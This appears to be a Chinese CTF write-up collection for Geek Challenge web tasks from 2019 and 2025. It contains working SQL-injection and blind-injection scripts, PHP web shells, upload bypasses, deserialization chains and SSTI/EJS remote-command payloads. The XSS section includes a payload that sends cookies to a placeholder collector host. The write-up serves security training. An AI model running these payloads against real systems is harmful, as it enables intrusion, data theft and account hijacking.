2019 [极客大挑战 2019]EasySQL
直接万能密码闭合后登录即获得flag
闭合后语句username= 1 & password= '1' or 1 = 1 #'
[极客大挑战 2019]LoveSQL 使用万能密码尝试
username= 1 & password= 1 ' or 1=1#
有回显位置了,且题目提示flag放在了其他位置,下述payload的password均为上图数据
username= admin' order by 3# order by判断列数,列数为4时报错 username=a' union select 1 ,2 ,3 #用不存在的username才能找到回显位,不然使用admin只会重复上图,回显位为2 ,3 username= a' union select 1,(database()),3# 库名为geek username=a' union select 1 ,(select group_concat(table_name) from information_schema.tables where table_schema= 'geek' ),3 #表名有geekuser,l0ve1ysq1 username= a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=' l0ve1ysq1'),3# 列名有id,username,password username=a' union select 1 ,(select group_concat(password) from l0ve1ysq1),3 #获得flag
[极客大挑战 2019]BabySQL 同样的payload
username= 1 & password= 1 ' or 1=1#
发现or没了,推测过滤or,尝试双写绕过成功登录(大小写绕过失败,换为||成功)
username= 1 & password= 1 ' oorr 1=1# 如果是双写能成功登录就可直接爆库表列flag,但是双写不能绕过or过滤时,相当于过滤information_schema表,此时表名可通过mysql.innodb_table_stats表中相同方式爆出,flag通过无列名注入爆出 username=admin' oorrder by 3 #此时仍然报错了,根据报错内容推测把by 也过滤了 username= admin' oorrder bbyy 3# 成功登录,接下来正常流程 username=a' union select 1 ,2 ,3 #这个payload也报错,根据报错内容推测union 和select 都ban了 username= a' ununionion seselectlect 1,2,3# 成功找到回显位为2,3 username=a' ununionion seselectlect 1 ,(database()),3 #库名为geek username= a' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema=' geek'),3# 还报错,根据报错提示将from和where也双写 username=a' ununionion seselectlect 1 ,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema= 'geek' ),3 #表名为b4bsql,geekuser username= a' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=' b4bsql'),3# 列名为id,username,password username=a' ununionion seselectlect 1 ,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 #获得flag(注意爆flag时password中也有or )
[极客大挑战 2019]HardSQL 随便尝试万能密码注入,显示错误,用bpfuzz判断一下哪些字符被过滤了
可以看到很多字符被过滤了,而ascii,left,join,select,floor,like,updatexml等关键词未被过滤
尝试报错注入 password= 1 'or(updatexml(1,concat(0x7e,(database()),0x7e),1))# 库名为geek,注意等号也被过滤了 password=1' or (updatexml(1 ,concat(0x7e ,(select (group_concat(table_name))from (information_schema.tables)where (table_schema)like ('geek' )),0x7e ),1 ))#表名为H4rDsq1 password= 1 'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(' H4rDsq1')),0x7e),1))# 列名为id,username,password password=1' or (updatexml(1 ,concat(0x7e ,(select (password)from (H4rDsq1)),0x7e ),1 ))#但是只出来一半的flag,使用substr(被ban),left ,right 解决,flag{1017 f607-85 ef-46 d4-8 d03-04 password= 1 'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))# 获得右边一半7-85ef-46d4-8d03-04400211b36b},拼接
[极客大挑战 2019]FinalSQL 题目提示要找到第六个代码,并且在url中有id
结合题目提示使用盲注,尝试对id进行布尔盲注,这里要涉及到异或,两个数相同返回0,不同返回1
id= 1 ^ 1 #报错 id= 1 ^ 0 #id为1 的页面 即后面的数字为注入点 尝试payload id= 1 ^ (substr(database(),1 ,1 )= 'g' ) #报错 id= 1 ^ (substr(database(),1 ,1 )= 'c' ) #id为1 的页面 可正常布尔盲注,脚本如下(由于最后的一排数据过多,对force3函数优化,查询后停0.1 秒,能有效避免请求过多,且上限提升至600 ,所以把每个都增加了查询后停0.1 秒)
import requestsimport timedef force (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr(database(),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def force1 (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{database} ')),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def force2 (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{table} ')),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def force3 (url ): find='' for i in range (1 ,600 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr((select(group_concat({column} ))from({table} )),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text time.sleep(0.1 ) if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ =="__main__" : url='http://71344066-f916-483f-a15a-230ea9111242.node5.buuoj.cn:81/search.php' database=force(url) force1(url) table=input ("请输入表名:" ) force2(url) column=input ("请输入列名:" ) force3(url)
[极客大挑战 2019]Havefun 页面没啥找的就先看原码,看到注释部分提示GET传参cat=dog,传参后获得flag
[极客大挑战 2019]Http 打开页面没什么信息,在源码中找到Secret.php页面
访问提示不是来自https://Sycsecret.buuoj.cn,即涉及到referer伪造,参考详解请求头信息
抓包在bp重发器中伪造referer后如下
提示用”Syclover” browser,将UA更换为Syclover后重发如下
提示只能本地使用,那就通过X-Forwarded-For来伪造
[极客大挑战 2019]Knife 基础解法
进入环境就看到一句话木马,直接通过蚁剑连接即可
后面看了其他师傅的wp,发现这个题思路还有很多,以下再提供两个大佬的其他思路,可参考原文[士别三日wyx](https://blog.csdn.net/wangyuxiang946/article/details/121023808?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-121023808-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)和[Senimo_](https://blog.csdn.net/weixin_44037296/article/details/109151169?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-109151169-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)
进阶解法一 一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!
打开hackbar执行:
可以直接进入展示PHP信息界面:
这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:
我们使用var_dump()+scandir()查看一下根目录:
Syc=var_dump(scandir ('/'))
看起来无变化,但是只是由于背景颜色遮挡,直接看源码
可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!
那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:
Syc=var_dump(file_get_contents ('/flag'))
在源码中就可以找到flag
这里引用大佬的一段话
喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。
进阶解法二 连接一句木马并使用SHELL,需要将一句话木马作为POST传值的参数,将PHP语句作为值传入,并通过PHP语句执行SHELL命令。
我们剖析一下菜刀的原理,先看下菜刀发送的数据包:
op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack base64_decode()函数解码了传入的值 因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。 把值进行BASE64解码,得到:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();
首先进行测试,hackbar传参可获得回显
因此直接搬运脚本
import requestsimport re class Knife : def __init__ (self, url_input ): self .payload_data = {"Syc" : "exec('cat /flag',$out);print_r($out);die();" } self .status_code = 1 self .url = url_input.strip() self .flag = '' def url_test (self ): for i in range (9 ): try : if self .url.endswith('/index.php' ) or self .url.endswith('buuoj.cn/' ) or self .url.endswith('buuoj.cn' ): requests.get(self .url) print ('测试状态: 200 ' + self .url) except : print ('无效链接!请重新输入!' ) self .url = input ('请输入题目链接:' ) self .status_code = 0 else : self .status_code = 1 break if self .status_code == 0 : print ('无效链接!退出程序!' ) return def num_test (self ): for i in range (30 ): try : r = requests.post(self .url, data=self .payload_data) self .flag = re.search(r'flag\{.+\}' , r.text).group() except : print ('第 ' + str (i+1 ) + ' 次未获取到flag! 正在重试!' ) else : break def run (self ): self .url_test() self .num_test() if self .flag == '' : print ('已尝试30次!未获取到flag! 退出程序!' ) return self .flag if __name__ == '__main__' : print ('ctf_exp0: BUUCTF [极客大挑战 2019] Knife' ) url_input = input ('请输入题目链接:' ) print (Knife(url_input).run()) input ()
同样可以获得flag
[极客大挑战 2019]BuyFlag 源码中发现pay.php,进入后再次在源码中找到注释内容
即password传参为404且不全为数字(弱比较),即传404a都行
在pay.php页面中发现提示必须以学生身份购买flag,发现cookie中有user=0,尝试改为1
提示还需要pay,因此传money=100000000,提示数字过长,使用科学计数法获得flag
[极客大挑战 2019]Upload 写含一句话木马<?php eval($POST['123']);?>的php文件尝试上传
显示不是图片文件,直接抓包修改后缀为image/jpeg判断是否是客户端验证
返回not php,说明成功绕过文件类型限制,但是还是要对文件内容进行检测,将文件内容改为
<script language ='php' > @eval ($_POST['123' ]); </script >
将后缀改为phtml可绕过php限制(绕过后缀的有文件格式有php,php3,php4,php5,phtml,pht)
还是提示不是上传的图片文件,因此通过伪造jpg文件头成功上传,前面加上GIF89a,这个可以伪造成jpg格式的文件。
上传成功后就要找到保存路径通过蚁剑连接,一般保存在/upload下
成功找到该文件,通过蚁剑连接,注意蚁剑url地址为url/upload/filename
在根目录下找到flag
[极客大挑战 2019]Secret File 根据题目先在源码中找到/Archive_room.php,访问secret后发现直接跳转到end.php中,并且显示查阅结束,因此抓包重新看过程
发现注释了secr3t.php,bp访问得下图,即文件包含漏洞
源码如下
<?php highlight_file (__FILE__ ); error_reporting (0 ); $file =$_GET ['file' ]; if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?>
即构造一个伪协议,payload如下
提示就在这里但是看不到,尝试base64编码后读取,payload如下
将下列字符解码后得到
贴一个python的base64解码脚本
import base64 def base64_decoder (encoded_string ): try : decoded_bytes = base64.b64decode(encoded_string) decoded_string = decoded_bytes.decode('utf-8' ) return decoded_string except Exception as e: return f"解码失败: {e} " encoded_string = input ("请输入待解码字符串:" ) decoded_string = base64_decoder(encoded_string) print (decoded_string)
[极客大挑战 2019]PHP 提示有备份网站习惯,那就访问下常见的比如www.zip,index.php.bak等,也可以扫目录。然后发现www.zip可下载
<?php include 'class.php' ; $select = $_GET ['select' ]; $res =unserialize (@$select ); ?>
<?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
这里就涉及到绕过__wakeup,因为在反序列化时会自动触发__wakeup方法从而重新给username赋值
当当前属性个数大于实际属性个数时,就会跳过__wakeup方法而直接进行__destruct
并且还是私有属性,需要在类名和字段名前都加上\0,即%00
<?php error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new Name('admin',100); echo serialize($a); ?> //O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} //O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} //O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[极客大挑战 2019]RCE ME <?php error_reporting (0 );if (isset ($_GET ['code' ])) { $code = $_GET ['code' ]; if (strlen ($code ) > 40 ) { die ("This is too Long." ); } if (preg_match ("/[A-Za-z0-9]+/" , $code )) { die ("NO." ); } @eval ($code ); } else { highlight_file (__FILE__ ); } ? >
<?php $a = 'assert' ;$b = '(eval($_POST[123]))' ;$c =urlencode (~$a );$d =urlencode (~$b );echo "(~$c )(~$d );" ;
然后连马就行,由于ban的函数比较多,所以用蚁剑的插件连,选择这个
然后直接用根目录下的/readflag就行
2025 阿基里斯追乌龟 抓包修改参数就行
SYC{Spi1t_th3_T1me_t0_the_3nd_019a4e9399967715b7306d193d4fee9b}
Vibe SEO 没找到什么有用的东西,那就先扫个目录吧,发现/sitemap.xml
找到/aa__^^.php,访问,看到报错猜测是通过readfile()读取文件,直接传参获得源码
<?php $flag = fopen ('/my_secret.txt' , 'r' );if (strlen ($_GET ['filename' ]) < 11 ) { readfile ($_GET ['filename' ]); } else { echo "Filename too long" ; }
这个就要涉及到/dev/fd/,/dev/fd/下保存当前进程用到的文件句柄,即文件描述符
文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4……
因为不知道这个文件具体是什么位置,所以直接爆破一下得到flag
SYC{019a4e9693c47cd098623b824950cf80}
Xross The Finish Line 发现过滤了script,",空格,onerror等,直接外带就行
<body/onload=fetch(`http://ip:port/xss/xss.php?cookie=${document.cookie}`)>
<?php $cookie = $_GET ['cookie' ]; $result = fopen ("cookie.txt" , "a" ); fwrite ($result ,$cookie . "\n" ); fclose ($result ); ?>
SYC{019a5d09744977118bf1052710e2de45}
Expression 既然题目说的是直接使用网上的jwt密钥,那就直接尝试c-jwt-cracker爆破,得到密钥为secret
然后以admin登录进去发现什么也没有?看到框架为Express,并且username中数据原样输出,尝试渲染注入
这里是ejs模块注入,参考Ejs模板引擎注入实现RCE-先知社区 ,直接查看环境变量就行
{ "email": "1@qq.com", "username": "<%= JSON.stringify(process.env) %>", "iat": 1762256886, "exp": 1762861686 }
Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjFAcXEuY29tIiwidXNlcm5hbWUiOiI8JT0gSlNPTi5zdHJpbmdpZnkocHJvY2Vzcy5lbnYpICU-IiwiaWF0IjoxNzYyMjU2ODg2LCJleHAiOjE3NjI4NjE2ODZ9.Q2MIAr4XH_YrFFKzNm8lzI_yN9iC2VwYBTjeOkVpJ1A
SYC{019a4eae85d9778ebd969d2add573702}
也可以通过这样执行命令
<%= global.process.mainModule.require('child_process').execSync('env') %>
popself <?php show_source (__FILE__ );error_reporting (0 );class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; public function __set ($name , $value ) { echo "他还是没有忘记那个" .$value ."<br>" ; echo "收集夏日的碎片吧<br>" ; $fox = $this ->Fox; if ( !($fox instanceof All_in_one) && $fox ()==="summer" ){ echo "QYQS enjoy summer<br>" ; echo "开启循环吧<br>" ; $komiko = $this ->komiko; $komiko ->Eureka ($this ->L, $this ->sleep3r); } } public function __invoke ( ) { echo "恭喜成功signin!<br>" ; echo "welcome to Geek_Challenge2025!<br>" ; $f = $this ->Samsāra; $arg = $this ->ivory; $f ($arg ); } public function __destruct ( ) { echo "你能让K4per和KiraKiraAyu组成一队吗<br>" ; if (is_string ($this ->KiraKiraAyu) && is_string ($this ->K4per)) { if (md5 (md5 ($this ->KiraKiraAyu))===md5 ($this ->K4per)){ die ("boys和而不同<br>" ); } if (md5 (md5 ($this ->KiraKiraAyu))==md5 ($this ->K4per)){ echo "BOY♂ sign GEEK<br>" ; echo "开启循环吧<br>" ; $this ->QYQS->partner = "summer" ; } else { echo "BOY♂ can`t sign GEEK<br>" ; echo md5 (md5 ($this ->KiraKiraAyu))."<br>" ; echo md5 ($this ->K4per)."<br>" ; } } else { die ("boys堂堂正正" ); } } public function __tostring ( ) { echo "再走一步...<br>" ; $a = $this ->_4ak5ra; $a (); } public function __call ($method , $args ) { if (strlen ($args [0 ])<4 && ($args [0 ]+1 )>10000 ){ echo "再走一步<br>" ; echo $args [1 ]; } else { echo "你要努力进窄门<br>" ; } } } class summer { public static function find_myself ( ) { return "summer" ; } } $payload = $_GET ["24_SYC.zip" ];if (isset ($payload )) { unserialize ($payload ); } else { echo "没有大家的压缩包的话,瓦达西!<br>" ; } ?>
还是跟着链子写就行了
#All_in_one::__destruct->All_in_one::__set->All_in_one::__call->All_in_one::__tostring->All_in_one::__invoke
__destruct首先的MD5通过0e绕过
<?php $KiraKiraAyu ="0e1138100474" ;$K4per ="QNKCDZO" ;if (is_string ($KiraKiraAyu ) && is_string ($K4per )) { if (md5 (md5 ($KiraKiraAyu ))===md5 ($K4per )){ die ("boys和而不同<br>" ); } if (md5 (md5 ($KiraKiraAyu ))==md5 ($K4per )){ echo "BOY♂ sign GEEK<br>" ; echo "开启循环吧<br>" ; } else { echo "BOY♂ can`t sign GEEK<br>" ; echo md5 (md5 ($KiraKiraAyu ))."<br>" ; echo md5 ($K4per )."<br>" ; } } else { die ("boys堂堂正正" ); }
__set通过数组元素绕过
在 PHP 中,可调用(callable)有几种形式,常见有两种:
字符串形式:"func_name" —— 调用全局函数。
数组形式:[class_or_object, methodName] —— 首元素是类名(字符串)或对象实例,第二元素是方法名(字符串)。调用时相当于 class_or_object::methodName() 或 $object->methodName()。
__callif (strlen ($args [0 ])<4 && ($args [0 ]+1 )>10000 ){ echo "再走一步<br>" ; echo $args [1 ]; } else { echo "你要努力进窄门<br>" ; }
通过科学计数法绕过,args[0]="1e5"即可满足,注意必须是字符串类型,否则在strlen的时候就会被转换。同时这里赋值是通过$komiko->Eureka($this->L, $this->sleep3r);来赋值的,L是args[0],sleep3r是args[1]
<?php $args =array (1e4 ,"1e4" );echo strlen ($args [0 ])."\n" ;echo ($args [0 ]+1 )."\n" ;echo strlen ($args [1 ])."\n" ;echo ($args [1 ]+1 );
exp完整exp如下
<?php class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; } class summer { public static function find_myself ( ) { return "summer" ; } } $a =new All_in_one ();$a ->KiraKiraAyu="0e1138100474" ;$a ->K4per="QNKCDZO" ;$a ->QYQS=new All_in_one ();$a ->QYQS->Fox=array ('summer' ,'find_myself' );$a ->QYQS->komiko=new All_in_one ();$a ->QYQS->L="1e4" ;$a ->QYQS->sleep3r=new All_in_one ();$a ->QYQS->sleep3r->_4ak5ra=new All_in_one ();$a ->QYQS->sleep3r->_4ak5ra->Samsāra="system" ;$a ->QYQS->sleep3r->_4ak5ra->ivory="env" ;echo "24[SYC.zip=" .serialize ($a );
GET:24[SYC.zip=O:10:"All_in_one":11:{s:11:"KiraKiraAyu";s:12:"0e1138100474";s:7:"_4ak5ra";N;s:5:"K4per";s:7:"QNKCDZO";s:8:"Samsāra";N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";N;s:5:"K4per";N;s:8:"Samsāra";N;s:6:"komiko";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";N;s:5:"K4per";N;s:8:"Samsāra";N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";N;s:1:"L";N;}s:3:"Fox";a:2:{i:0;s:6:"summer";i:1;s:11:"find_myself";}s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";O:10:"All_in_one":11:{s:11:"KiraKiraAyu";N;s:7:"_4ak5ra";N;s:5:"K4per";N;s:8:"Samsāra";s:6:"system";s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";s:3:"env";s:1:"L";N;}s:5:"K4per";N;s:8:"Samsāra";N;s:6:"komiko";N;s:3:"Fox";N;s:6:"Eureka";N;s:4:"QYQS";N;s:7:"sleep3r";N;s:5:"ivory";N;s:1:"L";N;}s:5:"ivory";N;s:1:"L";s:3:"1e4";}s:7:"sleep3r";N;s:5:"ivory";N;s:1:"L";N;}
SYC{Round_And_r0und_019a5384168571cf87b448fe7d8cc409}
one_last_image 抓包改为php后缀即可成功上传
SYC{0_M3_de_t0u_019a53976b0a708990d94740b02bb176}
Sequal No Uta 过滤了空格(%09绕过),并且发现只有三种回显,尝试后发现以下语句可正常回显
那就能直接开始盲注了
name=1'%09or%09(substr((select%09name%09from%09pragma_database_list),1,1)='m')--+
bp跑一下发现能成功
那就直接上脚本
import requestsdef brute_force (url,word ): find = '' for i in range (1 ,100 ): found_char = False for j in range (32 ,128 ): char=chr (j) payload = f"1' or (substr((select name from pragma_database_list),{i} ,1)='{char} ')--+" response = requests.get(url, params={'name' : (payload.replace(' ' ,'\t' ))}) if word in response.text : find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ == "__main__" : url = 'http://019a6837-8115-7845-abb5-d0b51e32e9ea.geek.ctfplus.cn/check.php' word="用户存在" brute_force(url,word)
以下只给子查询语句 查库名 select name from pragma_database_list main 查表名 select group_concat(name) from sqlite_master where type='table' users,sqlite_sequence 查列名 select group_concat(name) from pragma_table_info('users') id,username,password,is_active,secret 查字段 select group_concat(secret) from users SYC{YourPoem-019a68f88a787b34b3cc9b6f69a31512}
SYC{YourPoem-019a68f88a787b34b3cc9b6f69a31512}
ez_read 随便登录注册,找到有读文件功能,随便测试发现../被置空,双写绕过读取app.py获得源码
GET:filename=....//app.py
from flask import Flask, request, render_template, render_template_string, redirect, url_for, sessionimport osapp = Flask(__name__, template_folder="templates" , static_folder="static" ) app.secret_key = "key_ciallo_secret" USERS = {} def waf (payload: str ) -> str : print (len (payload)) if not payload: return "" if len (payload) not in (114 , 514 ): return payload.replace("(" , "" ) else : waf = ["__class__" , "__base__" , "__subclasses__" , "__globals__" , "import" ,"self" ,"session" ,"blueprints" ,"get_debug_flag" ,"json" ,"get_template_attribute" ,"render_template" ,"render_template_string" ,"abort" ,"redirect" ,"make_response" ,"Response" ,"stream_with_context" ,"flash" ,"escape" ,"Markup" ,"MarkupSafe" ,"tojson" ,"datetime" ,"cycler" ,"joiner" ,"namespace" ,"lipsum" ] for w in waf: if w in payload: raise ValueError(f"waf" ) return payload @app.route("/" ) def index (): user = session.get("user" ) return render_template("index.html" , user=user) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): if request.method == "POST" : username = (request.form.get("username" ) or "" ) password = request.form.get("password" ) or "" if not username or not password: return render_template("register.html" , error="用户名和密码不能为空" ) if username in USERS: return render_template("register.html" , error="用户名已存在" ) USERS[username] = {"password" : password} session["user" ] = username return redirect(url_for("profile" )) return render_template("register.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = (request.form.get("username" ) or "" ).strip() password = request.form.get("password" ) or "" user = USERS.get(username) if not user or user.get("password" ) != password: return render_template("login.html" , error="用户名或密码错误" ) session["user" ] = username return redirect(url_for("profile" )) return render_template("login.html" ) @app.route("/logout" ) def logout (): session.clear() return redirect(url_for("index" )) @app.route("/profile" ) def profile (): user = session.get("user" ) if not user: return redirect(url_for("login" )) name_raw = request.args.get("name" , user) try : filtered = waf(name_raw) tmpl = f"欢迎,{filtered} " rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: rendered_snippet = "" error_msg = f"渲染错误: {e} " return render_template( "profile.html" , content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, ) @app.route("/read" , methods=["GET" , "POST" ] ) def read_file (): user = session.get("user" ) if not user: return redirect(url_for("login" )) base_dir = os.path.join(os.path.dirname(__file__), "story" ) try : entries = sorted ([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = [] filename = "" if request.method == "POST" : filename = request.form.get("filename" ) or "" else : filename = request.args.get("filename" ) or "" content = None error = None if filename: sanitized = filename.replace("../" , "" ) target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized} " else : with open (target_path, "r" , encoding="utf-8" , errors="ignore" ) as f: content = f.read() return render_template("read.html" , files=entries, content=content, filename=filename, error=error, user=user) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 , debug=False )
又查看环境变量时找到提示,用我提个权吧
既然要提权那肯定要先执行命令,app.py发现在登录注册的位置存在ssti
username:{{7*7}} 回显49 username:{{config}} 回显中找到'SECRET_KEY': 'key_ciallo_secret'
然后就想到session伪造,用伪造之后的去访问/profile界面发现成功了
key_ciallo_secret {'user': '{{7*7}}'} flask-unsign --sign --cookie "{'user': '{{7*7}}'}" --secret 'key_ciallo_secret' eyJ1c2VyIjoie3s3Kjd9fSJ9.aQ2bvQ.0PByPkgv8K2Ft3Clqs8UoppcQqc
所以直接在session中尝试伪造,注意这里需要凑长度来实现长度为114或514,先来测试一下发现1{{7*7}}可以实现
flask-unsign --sign --cookie "{'user': '1{{7*7}}'}" --secret 'key_ciallo_secret' eyJ1c2VyIjoiMXt7Nyo3fX0ifQ.aQ2moQ.Tna93o_jDAZMouMnBWNYNOS8tGE
可以用这个脚本来进行本地测试
def waf (payload: str ) -> str : print (len (payload)) if not payload: return "" if len (payload) not in (114 , 514 ): return payload.replace("(" , "" ) else : waf = ["__class__" , "__base__" , "__subclasses__" , "__globals__" , "import" ,"self" ,"session" ,"blueprints" ,"get_debug_flag" ,"json" ,"get_template_attribute" ,"render_template" ,"render_template_string" ,"abort" ,"redirect" ,"make_response" ,"Response" ,"stream_with_context" ,"flash" ,"escape" ,"Markup" ,"MarkupSafe" ,"tojson" ,"datetime" ,"cycler" ,"joiner" ,"namespace" ,"lipsum" ] for w in waf: if w in payload: print (w) return "waf" print (len (payload)) return payload a='1111111111111111111111111111111111111111111111111111111111111111111111111111111111111{{().__cla""ss__.__ba""se__}}' print (waf(a))
可以用这个脚本来实现payload输出
payload='{{""["__cla""ss__"]["__m""ro__"]}}' result=(514 -len (payload))*"1" +payload print (result)
{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("ls /")["read"]()}} 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("ls /")["read"]()}} boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
既然环境变量中提到提权,那就直接使用环境变量提权
{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("/usr/local/bin/env cat /flag")["read"]()}} 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111{{""["__cla""ss__"]["__m""ro__"][1]["__subcl""asses__"]()[142]["__in""it__"]["__glo""bals__"]["po""pen"]("/usr/local/bin/env cat /flag")["read"]()}} SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019a640a32557f1080eb00dac7ae3329}
SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019a640a32557f1080eb00dac7ae3329}
PS:这里为了方便就没有去session里面进行更改,session里面还需要转义引号那些,到处报错,麻烦
至于为什么环境变量可读/flag,以下可说明了
